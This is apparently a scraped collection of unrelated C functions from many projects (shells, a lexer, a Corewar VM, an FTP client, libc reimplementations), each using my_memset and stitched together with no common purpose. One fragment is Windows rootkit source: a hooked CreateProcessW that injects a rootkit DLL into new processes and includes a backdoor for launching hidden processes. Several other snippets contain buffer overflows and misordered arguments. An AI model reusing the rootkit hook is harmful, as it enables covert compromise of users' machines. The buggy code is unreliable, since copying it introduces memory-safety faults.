t_match lexer_match_string(t_string_reader *reader, size_t pos) { t_token_value token_value; t_match match; char c; size_t reader_pos; char *str; if (reader->string[pos] != '\"' && reader->string[pos] != '\'') return (lexer_gen_empty_match()); c = reader->string[pos]; while ((reader->string[++pos] && (reader->string[pos] != c)) || count_backslash(reader->string, pos) % 2 == 1); if (!reader->string[pos] || reader->string[pos] != c) return (lexer_gen_error_match()); my_memset(&token_value, 0, sizeof(t_token_value)); pos += 1; reader_pos = reader->pos; match = gen_match_from_token(reader, pos, TOKEN_STRING, token_value); if (!reader->string[reader_pos]) return (lexer_gen_error_match()); str = &reader->string[reader_pos + 1]; match.token.value.string = clear_string(my_strndup(str, pos - reader_pos - 2)); return (match); }
void get_pos_curser(int *x, int *y, int fd) { char buff[30]; int indice; int i; *x = 0; *y = 0; i = 0; my_memset(buff, 30, 0); if (write(fd, POSCURSEUR, my_strlen(POSCURSEUR)) == -1 || (indice = read(fd, buff, 19)) == -1) return ; buff[indice] = '\0'; while (buff[0] != 27 && i < 100) { my_memset(buff, 30, 0); if (write(fd, POSCURSEUR, my_strlen(POSCURSEUR)) == -1) return ; if ((indice = read(fd, buff, 19)) == -1) return ; buff[indice] = '\0'; i++; } if (i == 100) return ; assign_value_pos(x, y, buff); }
int export_format_fox(int fd, t_tekpain *paint) { t_node *_node; t_layer *cur; t_format_fox_header header; char name[1024]; if (fd <= 0 || paint->layers.count <= 0) return (-1); _node = paint->layers.first; header.count = paint->layers.count; header.workzone = paint->workzone; my_memset(&header.offset, 0, sizeof(char) * 255); write(fd, &header, sizeof(t_format_fox_header)); while (_node != NULL) { cur = _node->data; my_memset(name, 0, sizeof(char) * 1024); my_strcpy(name, cur->name); my_printf(1, "[Save layer]: %s\n", name); write(fd, name, 1024); write(fd, ((unsigned int *)cur->pix->pixels), (header.workzone.x * header.workzone.y * sizeof(unsigned int))); _node = _node->next; } paint->status = 0; return (0); }
char *readLine() { char buffer[256]; char *a; char *b; int part; int bSize; int out; bSize = 255; part = 1; a = NULL; while (1) { my_memset(buffer, 0, 256); out = read(0, buffer, bSize); if ((b = malloc(sizeof(char) * ((bSize * part) + 1))) == NULL) return (NULL); my_memset(b, 0, (bSize * part) + 1); my_strcat(b, (a != NULL) ? a : ""); my_strcat(b, buffer); b[(bSize * part)] = '\0'; if (a != NULL) free(a); a = b; if (out >= bSize) part += 1; else break; } return (a); }
// Backdoor : if application name or command line contains RTK_FILE_CHAR // the created process is *not* hooked. // Useful to launch hidden process from windows gui/cmd.exe that performs // a search before delegating the creation of the process to CreateProcess // To launch a non hijacked process using cmd, do the following : // run: cmd.exe // type: cmd.exe _nti (where _nti is RTK_FILE_CHAR ) // then run your hidden program from the non hijacked shell BOOL WINAPI MyCreateProcessW(LPCTSTR lpApplicationName, LPTSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCTSTR lpCurrentDirectory, LPSTARTUPINFO lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation) { int bResult, bInject=1; char msg[1024], cmdline[256], appname[256]; OutputString("[i] CreateProcessW()\n"); // do not rely on info given by HijackApi() since we may have hijacked at GetProcAddress() level if(!fCreateProcessW) { fCreateProcessW = (FARPROC) fGetProcAddress(GetModuleHandle("kernel32.dll"),"CreateProcessW"); if(!fCreateProcessW) return 0; } my_memset(msg, 0, 1024); my_memset(cmdline, 0, 256); my_memset(appname, 0, 256); //Convert strings from unicode : WideCharToMultiByte(CP_ACP, 0,(const unsigned short *)lpApplicationName, -1, appname, 255,NULL, NULL); WideCharToMultiByte(CP_ACP, 0,(const unsigned short *)lpCommandLine, -1, cmdline, 255,NULL, NULL); OutputString("\n[!!] Hooked CreateProcessW : %s - %s, injecting rootkit (%s)...\n", (char*)appname, (char*)cmdline, (char*)kNTIDllPath); bResult = (int) fCreateProcessW((const unsigned short *)lpApplicationName, (unsigned short *)lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles, CREATE_SUSPENDED /*dwCreationFlags*/, lpEnvironment, (const unsigned short *)lpCurrentDirectory, (struct _STARTUPINFOW *)lpStartupInfo, lpProcessInformation); // inject the created process if its name & command line doesn't contain RTK_FILE_CHAR if(bResult) { if(lpCommandLine) { if(strstr((char*)cmdline,(char*)RTK_FILE_CHAR)){ OutputString("\n[i] CreateProcessW: Giving true sight to process '%s'...\n", (char*)appname); WakeUpProcess(lpProcessInformation->dwProcessId); bInject = 0; } } if(lpApplicationName) { if(strstr((char*)appname,(char*)RTK_FILE_CHAR)) { OutputString("\n[i] CreateProcessW: Giving true sight to process '%s'...\n", (char*)appname); WakeUpProcess(lpProcessInformation->dwProcessId); bInject = 0; } } if(bInject) InjectDll(lpProcessInformation->hProcess, (char*)kNTIDllPath); CloseHandle(lpProcessInformation->hProcess); CloseHandle(lpProcessInformation->hThread); } return bResult; }
void view_query(char *str, s_client cl) { int size_recv; int len_tot; char *querry; my_memset(str, 0, BUFF_MAX); querry = str; len_tot = 0; size_recv = my_recv(cl.server_socket, str, BUFF_MAX, (int)NULL); while (querry[size_recv] != '\0' && (len_tot < BUFF_MAX)) { querry = &(querry[size_recv]); my_putstr(querry); size_recv = my_recv(cl.server_socket, querry, BUFF_MAX, (int)NULL); len_tot = len_tot + size_recv; } my_putstr(str); my_recv(cl.server_socket, querry, BUFF_MAX, (int)NULL); querry[3] = '\0'; if (querry[0] == '2') my_putstr("\nSucess\n"); else my_putstr("\nError\n"); }
int launch_vm(t_param *param) { t_vm *vm; int i; if ((vm = my_malloc(sizeof(t_vm), "Error: fail to malloc vm\n")) == 0) return (1); vm->screen = SDL_SetVideoMode(MEM_SIZE / NB_COL * WIDTH + DECAL, NB_COL * WIDTH, 32, SDL_HWSURFACE | SDL_DOUBLEBUF); SDL_WM_SetCaption("Corewar", NULL); if (vm->screen == NULL) err_SDL(); vm->police = TTF_OpenFont("arial.ttf", 20); vm->param = param; vm->cycle = 0; vm->cycle_to_die = CYCLE_TO_DIE; vm->nb_live = 0; owner_set(vm->mem_owner, -1, 0, MEM_SIZE); my_memset(vm->register_player, 0, (MAX_PLAYER + 1) * sizeof(char)); i = 0; while (i < MAX_PROG_NUMBER) vm->progs_live[i++] = -1; if (load_all_programs(vm) != 0) return (1); my_printf("%d program(s) loaded\n", vm->prog_list->nb_elm); if (param->debug == 1) dump_memory(vm->memory); pause_vm(vm, 1); vm_run(vm); pause_vm(vm, 0); if (param->debug == 1) dump_memory(vm->memory); TTF_CloseFont(vm->police); return (0); }
char *my_str_intro(char *enter, char *find, char *replace) { char *output; int i; int len; i = 0; len = my_strlen(enter) + my_strlen(replace) - my_strlen(find) + 1; if ((output = malloc(sizeof(char) * len)) == NULL) return (NULL); output = my_memset(output, '\0', len); while (find_cmd(enter, find) != 0 && *enter != '\0') { output[i++] = *enter; enter++; } if (find_cmd(enter, find) == 0) while (*replace != '\0') { output[i++] = *replace; replace++; } while (*enter != '\0' && output[i]) { output[i++] = *enter; enter++; } return (output); }
char *get_word(char *str, char *sepa, int word) { int i; int count; int len; char *c; i = 0; count = 1; while (str[i] != '\0' && count <= word) { if (check_sepa(str[i], sepa) == 1) { count++; while (check_sepa(str[i], sepa) == 1 && str[i] != '\0') i++; i--; } i++; } len = len_of_word(str, i, sepa); if ((c = malloc(len + 1)) == NULL) return (NULL); my_memset(c, 0, len + 1); my_strncpy(c, str + i, len); return (c); }
void PushMRUFile(char* fname) { int i; char buf[MAX_PATH+1]; DWORD rv; char* file_part; char full_file_name[MAX_PATH+1]; if(!fname || fname[0] == '\0' || fname[0] == '/' || fname[0] == '-') { return; } if(fname[0] == '"') { fname++; } lstrcpy(buf,fname); if(buf[lstrlen(buf)-1] == '"') { buf[lstrlen(buf)-1] = '\0'; } my_memset(full_file_name,0,sizeof(full_file_name)); rv = GetFullPathName(buf,sizeof(full_file_name),full_file_name,&file_part); if (rv == 0) { return; } if(IsValidFile(full_file_name)) { PopMRUFile(full_file_name); for(i = MRU_LIST_SIZE - 2; i >= 0; i--) { lstrcpy(g_mru_list[i+1], g_mru_list[i]); } lstrcpy(g_mru_list[0],full_file_name); BuildMRUMenus(); } }
void *my_malloc(int size) { void *ptr; ptr = malloc(size); my_memset(ptr, size, 0); return ptr; }
int toto() { char toto[] = "Coucou Ca Va ?"; char test[20]; char dest[7]; printf("sa marche ? toto fait %d char\n", my_strlen("toto")); my_memcpy(dest, toto, 14); dest[14] = 0; printf("dest = [%s]\n", dest); printf("strchr = [%s]\n", my_strchr(toto, 'a')); printf("strcmp toto, dest = %d\n", my_strcmp(toto + 1, dest)); dest[3] = 'a'; printf("strncmp toto, dest = %d\n", my_strncmp(toto, dest, 3)); my_bzero(toto, 5); printf("bzero = [%s]\n", toto + 5); printf("strcasecmp = %d\n", strcasecmp("SALUT", "123456")); my_write(1, "test\n", 5); printf("rindex my toto with the char 'a' : [%s]\n", my_rindex("caca coco coucou", 'i')); test[14] = 0; printf("apres le memset = [%s]\n", my_memset(test, 'A', 14)); strcpy(dest, "Coucou"); printf("memmove result = [%s]\n", memmove(dest, dest + 1, 20)); printf("dest = [%s]\n", dest); }
int handle_ldi(t_vm *vm, t_program *prog, int index) { unsigned char buffer[IND_SIZE]; int param[4][2]; int i; int reg; my_memset(buffer, 0, IND_SIZE); parse_ldi_param(vm, prog, param); if (get_ldi_first_data(vm, prog, buffer, param) != 0 || get_ldi_second_data(vm, prog, &i, param) != 0) { my_printf("%s : erreur de segmentation\n", prog->header->prog_name); prog->active = 0; return (0); } i = avance_mem(prog->pc, (i + avance_mem(param[0][0] == PARAM_DIR ? 0 : prog->pc,(getnbr_wsize(buffer, 0, IND_SIZE) % IDX_MOD))) % IDX_MOD); reg = avance_mem(prog->pc, 2 + param[0][1] + param[1][1]); if (vm->memory[reg] - 1 < 0 || vm->memory[reg] - 1 >= REG_NUMBER) { my_printf("%s : erreur de segmentation\n", prog->header->prog_name); prog->active = 0; return (0); } mem_safecpy(prog->registre[vm->memory[reg] - 1], vm->memory, i, REG_SIZE); prog->carry = (getnbr_wsize(vm->memory, i, REG_SIZE) == 0 ? 1 : 0); (void)index; return (2 + param[0][1] + param[1][1] + 1); }
static char *get_the_conf_file(const char *path) { char *prompt; char *buff; char *tmp; int nb_read; int fd; fd = my_xopen(path); if (fd == -1) return (NULL); prompt = my_xxmalloc(sizeof(*prompt)); buff = my_xxmalloc(BUFF_SIZE * sizeof(*buff)); nb_read = my_xread(fd, buff, BUFF_SIZE); while (nb_read == BUFF_SIZE) { tmp = prompt; prompt = my_strcat(tmp, buff); tmp = my_xxfree(tmp); my_memset(buff, '\0', BUFF_SIZE); nb_read = my_xread(fd, buff, BUFF_SIZE); } tmp = prompt; prompt = my_strcat(tmp, buff); tmp = my_xxfree(tmp); buff = my_xxfree(buff); return (prompt); }
void start_transfert(s_server srv, char *file) { int fd; int size; struct stat st; int octel; char buff[BUFF_UP]; octel = 0; if ((fd = open(file, O_CREAT | O_TRUNC | O_RDWR, 0755)) == -1) { my_send(srv.socket_client, "450 Impossible to create file\n", my_strlen("450 Impossible to create file\n"), (int)NULL); xfree(file); return ; } my_recv(srv.socket_client, &st, sizeof(st), (int)NULL); size = st.st_size; my_memset(buff, 0, BUFF_UP); while (size > 0) { octel = my_recv(srv.socket_client, buff, BUFF_UP, (int)NULL); xwrite(fd, buff, octel); size = size - octel; } close(fd); send_result(octel, srv); }
char *get_next_line(const int fd) { char c; char *str; int i; int j; if ((str = malloc(READ_SIZE + 1)) == NULL || fd == -1) return (NULL); my_memset(str, READ_SIZE + 1); j = 2; i = 0; c = read_char(fd); while (c != '\n' && c != 0) { str[i++] = c; c = read_char(fd); if (i == (READ_SIZE * (j - 1))) { str = my_realloc(str, READ_SIZE * j); j++; } } str[i] = 0; if (str[0] == 0 && c == 0) return (NULL); return (str); }
void dad(t_sh *sh, pid_t pid) { int status; char buff[5]; my_memset(buff, 0, 5); if (sh->actual->piper_read != NULL && sh->actual->fd[0] != 0) { close(sh->actual->piper_read->pipe[0]); close(sh->actual->piper_read->pipe[1]); } if (sh->actual->piper_write != NULL) waitpid(pid, &status, WNOHANG); else waitpid(pid, &status, 0); if (sh->actual->fd[0] != 0) close(sh->actual->fd[0]); if (sh->actual->fd[1] != 1) close(sh->actual->fd[1]); if (WEXITSTATUS(status) == 0) return_exec_success(sh); sprintf(buff, "%d", WEXITSTATUS(status)); my_setenv(&sh->env, "?", buff); handle_message(status); freetab(sh->av); }
char *ns_back_slash_encode(char *buff) { int nbr; char *ret; for (ret = buff, nbr = 0; *ret; ret++) if (*ret == BACK_SLASH_N) nbr += 2; else nbr++; ret = my_malloc (nbr + 2); my_memset (ret, 0, nbr + 2); for (nbr = 0; *buff; buff++) if (*buff == BACK_SLASH_N) { sprintf(ret + nbr, "\\n"); nbr += 2; } else { ret[nbr] = *buff; nbr++; } return (ret); }
char *char_list(char *pattern, int end) { char index[256]; char *out; int i; char c; my_memset(index, 0, 256); i = 1; while (i < end) { if (add_range(pattern + i, (char *)index)) i += 2; else index[undash(pattern[i]) + 128] = 1; i++; } out = xsmalloc(256); c = -128; i = 0; while (c++ < 127) if (index[c + 128]) out[i++] = c; out[i] = 0; return (out); }
char *_op_sub(char *tab[2], t_base *base, char ops[7], int len[2]) { char *buff; int i; int ret; int tmp; buff = xmalloc((MAX(len[0], len[1]) + 3) * sizeof(char)); my_memset(buff, 0x0, MAX(len[0], len[1]) + 3); init_var(&i, &ret, &tmp); while (len[0] >= min_ref(tab[0], ops) || len[1] >= min_ref(tab[1], ops)) { if (len[0] >= min_ref(tab[0], ops) && len[1] >= min_ref(tab[1], ops)) tmp = base->value[tab[0][len[0]]] - base->value[tab[1][len[1]]] - ret; else if (len[0] >= min_ref(tab[0], ops)) tmp = base->value[tab[0][len[0]]] - ret; ret = (tmp < 0); if (tmp < 0) tmp += base->length; buff[i++] = get_char_for_value(tmp % base->length, base); --len[0]; --len[1]; } if (ret > 0) buff[i++] = get_char_for_value(ret % base->length, base); return (my_revstr(my_strdup(buff))); }
char *ns_url_encode(unsigned char *buff) { int nbr; char *ret; for (ret = buff, nbr = 0; *ret; ret++) if (!((*ret >= 'A' && *ret <= 'Z') || (*ret >= 'a' && *ret <= 'z') || (*ret >= '0' && *ret <= '9'))) nbr += 3; else nbr++; ret = my_malloc (nbr + 2); my_memset (ret, 0, nbr + 2); for (nbr = 0; *buff; buff++) if (!((*buff >= 'A' && *buff <= 'Z') || (*buff >= 'a' && *buff <= 'z') || (*buff >= '0' && *buff <= '9'))) { sprintf(ret + nbr, "%%%02X", *buff); nbr += 3; } else { ret[nbr] = *buff; nbr++; } return (ret); }
char *int_in_str(int nbr, int size) { int i; char *result; int sign; sign = 1; if (nbr < 0) nbr = -nbr + (sign-- * 0) + (size++ * 0); size++; result = malloc(sizeof(char) * size); if (result != NULL) { i = size - 2; my_memset(result, size, '\0'); while (nbr != 0) { result[i] = (nbr % 10) + 48; nbr = nbr / 10; i--; } if (sign == 0) result[0] = '-'; } return (result); }
char *get_next_line(const int fd) { static char buff[BUFF_SIZE]; static int len; static int a; char *str; int n; n = 0; if ((read_gnl(fd, &len, &a, buff)) == 0) return (NULL); if ((str = malloc(sizeof(char) * (BUFF_SIZE + 1))) == NULL) return (NULL); my_memset(str, 0, BUFF_SIZE + 1); while (buff[a] && buff[a] != '\n') { str[n++] = buff[a++]; if (n >= BUFF_SIZE) str = my_realloc(str, 1); if ((read_gnl(fd, &len, &a, buff)) == 0) return (str); } a++; str[n] = '\0'; return (str); }
//android bionic glibc int main() { char data[1024]; my_strcpy(data, "hehe"); printf("%s\n", data); my_strcat(data, "来自中国1024"); printf("%s\n", data); char hehe[1024]; my_memset(hehe, 0, sizeof(hehe)); my_memccpy(hehe, data, '1', my_strlen(data)); printf("%s\n", hehe); printf("%d\n", my_strlen(hehe)); char s[] = "-abc-=-def"; char *x = my_strtok(s, "-"); // x = "abc" printf("%s\n", x); x = my_strtok(NULL, "-="); // x = "def" printf("%s\n", x); x = my_strtok(NULL, "="); // x = NULL printf("%s\n", x); printf("%f %d %ld\n", my_atof("1.245"), my_atoi("1024"), my_atol("152.63")); return 0; }
char *get_field_name(char *str) { int i; int pos; char *name; i = 0; while (str[i] != '\0') { if (str[i] == '=') { name = malloc((i + 2) * sizeof(char)); if (name == NULL) return (NULL); my_memset(name, 0x0, i + 2); pos = 0; while (pos < i) { name[pos] = str[pos]; ++pos; } name[pos] = '\0'; return (name); } ++i; } return (NULL); }
int init_values(int *history_pl, int *reverse_case, char **str, char **cmd) { *history_pl = 0; *reverse_case = 0; if (((*str) = malloc(sizeof(**str) * 5)) == NULL || ((*cmd) = malloc(sizeof(**cmd) * 2)) == NULL) { if ((*str) != NULL) free(*str); return (-1); } (*str) = my_memset((*str), 0, 5); (*cmd) = my_memset((*cmd), 0, 2); prompt(TRUE); return (0); }
void init_pipe(int pipefd[2][2], int i[2]) { pipefd[0][0] = 0; pipefd[0][1] = 0; pipefd[1][0] = 0; pipefd[1][1] = 0; my_memset(i, 0, 2 * sizeof(int)); }
/*----------------------------------------------------------------------------*/ void clear_lcd_area(u8 p1,u8 p2) { while (lcd_busy); for (;p1 <= p2;p1++) { my_memset(&LCDBuff[p1][0], 0, LCDCOLUMN); } }
void put_ls(s_client cl) { char server_ls[BUFF_MAX]; my_send(cl.server_socket, "ls", my_strlen("ls"), (int)NULL); view_query(server_ls, cl); my_memset(server_ls, 0, BUFF_MAX); }
t_ptr sysmem_newptrclear(t_ptr_size size) { t_ptr p = (t_ptr)malloc(size); if (p) my_memset(p, 0, size); return p; }